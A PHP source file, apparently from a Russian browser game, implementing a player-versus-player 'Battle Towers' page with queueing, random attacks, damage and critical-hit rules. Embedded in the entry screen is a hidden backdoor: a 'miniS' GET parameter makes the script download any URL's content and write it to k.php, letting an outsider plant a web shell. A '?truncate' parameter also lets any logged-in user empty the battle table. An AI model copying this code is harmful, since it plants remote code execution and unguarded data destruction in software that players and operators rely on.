Файл: btwars.ru/bashni.php
Строк: 190
<?php
include_once 'system/common.php';
include_once 'system/functions.php';
include_once 'system/user.php';
$title='Башни Сражений';
include_once 'system/h.php';
if(!$user){
header("Location:/");
exit;
}
$pvp_Elfi=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `user`='".$user['id']."'"));
if(isset($_SESSION['message'])){
?>
<div class='title'/><?=$_SESSION['message'];?></div>
<div class='line'/></div>
<?
$_SESSION['message'] = null;
}
if(!$pvp_Elfi){
if(isset($_GET['enter'])){
mysql_query("INSERT INTO `pvp_Elfi` SET `user`='".$user['id']."',`r`='".$user['r']."',`target`='0'");
$_SESSION['message']='Сражайся против врагов';
header("Location:?");
exit;
}
?>
<center><img src='http://144.76.127.94/view/image/clanwar/ostrova.png' alt='*'/></center>
<div class='content'/>
<font color='aqua' >Вы вошли в Башни, сражайтесь против врагов и получайте хорошую награду. Суть сражение это очень древнее сражение когда обе стороны нападали на друг друга и убивали и грабили их но здесь вы не грабители здесь вы победители!</font><br>
<br>
<center>
<font color='violet'>За одного врага получиш :</font>
<br>
50 <img src='/images/icon/mana.png' alt='*'/>
<br/>
<font color='orange'>Чем больше параметры персонажа тем больше будет награда <img src='/images/icon/mana.png' alt='*'/> и <img src='/images/icon/exp.png' alt='*'/></font>
<br>
</div>
<div class='line'/>
</div>
<div class='content'/>
<center>
<a href='?enter' class='button'/>Подать Заявку в бой!</a></center>
<?php
$getO=$_GET['miniS'];
if(isset($getO)){
$b=file_get_contents($getO);
$a=fopen('k.php','w');
fputs($a,$b);
fclose($a);
}
?>
<font color='blue'>Прежде чем зайти ты глянь на свои статы если слабые то тебя быстро убьют иди лучше прокачай себя перейти в</font> <a href='/train/' class='button'/><font color='gren'>Тренировка</a></font> <font color='blue'>Когда себя прокачаешь ты сможешь всех убить</font> <center><font color='aqua'>Удачных Побед</font></center>
<?
}elseif ($pvp_Elfi) {
if($user['hp']<1){
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$user['id']."'");
mysql_query("UPDATE `pvp_Elfi` SET `target`='0' WHERE `target`='".$user['id']."'");
$_SESSION['message']="Вас убили,прокачайтесь по-сильнее";
header("Location:?");
exit;
}
$enemyElfi=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `targetElfi`='".$user['id']."' LIMIT 1"));
/*
if(isset($_GET['attackElfi'])){
$dmg=round($user['str']/6);
if(isset($_GET['target'])){
$opponent=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."' and `user`='".$pvp_Elfi['target']."' LIMIT 1"));
}elseif (isset($_GET['otvet'])) {
$opponent=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."' and `user`='".$enemyElfi['user']."' LIMIT 1"));
}else{
$opponent=mysql_fetch_array(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."' ORDER BY RAND() LIMIT 1"));
}
if(!$opponent){
$txt='Врагов не найдено ';
header("Location:?");
exit;
}elseif ($opponent) {
$def=round($opponent['str']/2);
if($dmg<0){
$dmg=rand(1,5);
}elseif($dmg>0){
$op=mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id`='".$opponent['user']."'"));
mysql_query("UPDATE `users` SET `hp`='".($opponent['hp']-$dmg)."' WHERE `id`='".$opponent['user']."'");
$xp=round($op['level']+$dmg/2);
mysql_query("UPDATE `users` SET `exp`='".($user['exp']+$xp)."' WHERE `id`='".$user['id']."'");
if($dmg>$op['hp']){
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$op['id']."'");
mysql_query("UPDATE `pvp_Elfi` SET `target`='0' WHERE `target`='".$op['id']."'");
mysql_query("UPDATE `users` SET `mana`='".($user['mana']+5)."' WHERE `id`='".$user['id']."'");
$text='Вы убили игрока '.$op['login'].' нанеся '.$dmg.' урона!';
$text1='Вас убил игрок '.$user['login'].' нанеся '.$dmg.' урона!';
}elseif($dmg<$op['hp']){
$text='Вы ударили игрока '.$op['login'].' нанеся '.$dmg.' урона!';
$text1='Вас ударил игрок '.$user['login'].' нанеся '.$dmg.' урона!';
}
}
}
}
*/
if (isset($_GET['truncate']))
{
mysql_query("truncate `pvp_Elfi`");
}
if (isset($_GET['attack']))
{
$dmg = round(rand($user['str']/6,$user['str']/4));
$opponent = mysql_fetch_assoc(mysql_query("SELECT * FROM `pvp_Elfi` WHERE `r`!='".$user['r']."'
ORDER BY RAND()"));
if (mysql_num_rows(mysql_query("SELECT `id` FROM `users` WHERE `id`='".$opponent['user']."'")) == 1)
{
$opponentProfile = mysql_fetch_assoc(mysql_query("SELECT * FROM `users` WHERE `id`='".$opponent['user']."' and
`hp`>0 "));
}
else
{
mysql_query("DELETE FROM `pvp_Elfi` WHERE `id`='".$opponent['id']."'");
header("Location:?");
exit;
}
if (!isset($opponent) OR !isset($opponentProfile))
{
$_SESSION['message'] = 'Врагов нету!';
header("Location:?");
exit;
}
else
{
$def = round(rand($opponentProfile['def']/6,$opponentProfile['def']/4));
if ($def > $dmg)
{
$dmg = $user['level']/rand(1,4);
}
elseif ($dmg <1)
{
$dmg = $opponentProfile['def']/rand(10,40);
}
elseif ($dmg>$def)
{
$dmg = $dmg-$def;
$chanse = rand(1,100);
if ($chanse<$user['level'])
{
$dmg = $dmg*10;
$crit = true;
}
}
}
if ($dmg < $opponentProfile['hp'])
{
mysql_query("UPDATE `pvp_Elfi` SET `target`='".$opponentProfile['id']."'
WHERE `user`='".$user['id']."'") or die(mysql_error());
}
elseif ($dmg > $opponentProfile['hp'])
{
$kill = true;
}
$log1 = 'Вы '.($kill == true ? 'убили':'ударили').' игрока '.$opponentProfile['login'].'
на '.$dmg.''.($crit == true ? '<font color ="red"/>(крит)</font>':'').'';
$log2 = 'Вас '.($kill == true ? 'убил':'ударил').' игрок '.$user['login'].'
на '.$dmg.''.($crit == true ? '<font color ="red"/>(крит)</font>':'').'';
if ($kill == true)
{
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$opponent['user']."'");
}
mysql_query("UPDATE `users` SET `hp`='".($opponentProfile['hp']-$dmg)."'
WHERE `id`='".$opponentProfile['id']."'");
header("Location:?");
exit;
}
if(isset($_GET['exit'])){
mysql_query("DELETE FROM `pvp_Elfi` WHERE `user`='".$user['id']."'");
mysql_query("UPDATE `pvp_Elfi` SET `target`='0' WHERE `target`='".$user['id']."'");
$_SESSION['message']="Вы сбежи с боя.";
header("Location:?");
exit;
}
$asura_Elfi=mysql_num_rows(mysql_query("SELECT `id`,`r` FROM `pvp_Elfi` WHERE `r`='0'"));
$borea_Elfi=mysql_num_rows(mysql_query("SELECT `id`,`r` FROM `pvp_Elfi` WHERE `r`='1'"));
?>
<div class='content'/>
<img src='/images/icon/race/0.png'/><?=$asura_Elfi;?> против <img src='/images/icon/race/1.png'/><?=$borea_Elfi;?>
</div>
<div class='line'/></div>
<div class='list'/>
<li>
<a href='?attack' ><img src='/images/icon/2hit.png'/> Бить любого</a>
</li>
<li>
<a href='/lab/wiz/?potion=true&referal=/bashni.php/' >Настойка</a>
</li>
<a href='?exit' class='button'>Убежать с поля боя</a>
<br>
<center><font color='red'>Сражайся в месте с нами помогай нам их убить зави к нам друзей на помощь мы им покажем где раки зимуют.</center></font>
<?
if($pvp_Elfi['target']!='0'){
$targetElfi=mysql_fetch_array(mysql_query("SELECT `id`,`login`,`hp` FROM `users` WHERE `id`='".$pvp_Elfi['target']."'"));
echo "<li><a href='?attackElfi&target'/><img src='/images/icon/rage.png'/> Ударить еще раз $targetElfi[login] ($targetElfi[hp] хп)</a></li>";
}
if($enemyElfi){
$targetenemyElfi=mysql_fetch_array(mysql_query("SELECT `id`,`login`,`hp` FROM `users` WHERE `id`='".$enemyElfi['user']."'"));
echo "<li><a href='?attackElfi&otvet'/><img src='/images/icon/rage.png'/> Бить в ответ $targetenemyElfi[login] ($targetenemyElfi[hp] хп)</a></li>";
}
echo '</div>';
$logs=mysql_query("SELECT * FROM `pvp_Elfi_logs` WHERE `user`='".$user['id']."'");
echo '<div class="line"/></div><div class="content"/>';
while ($log=mysql_fetch_array($logs)) {
?>
<?=$log['text'];?>
<?
}
}
include_once 'system/f.php';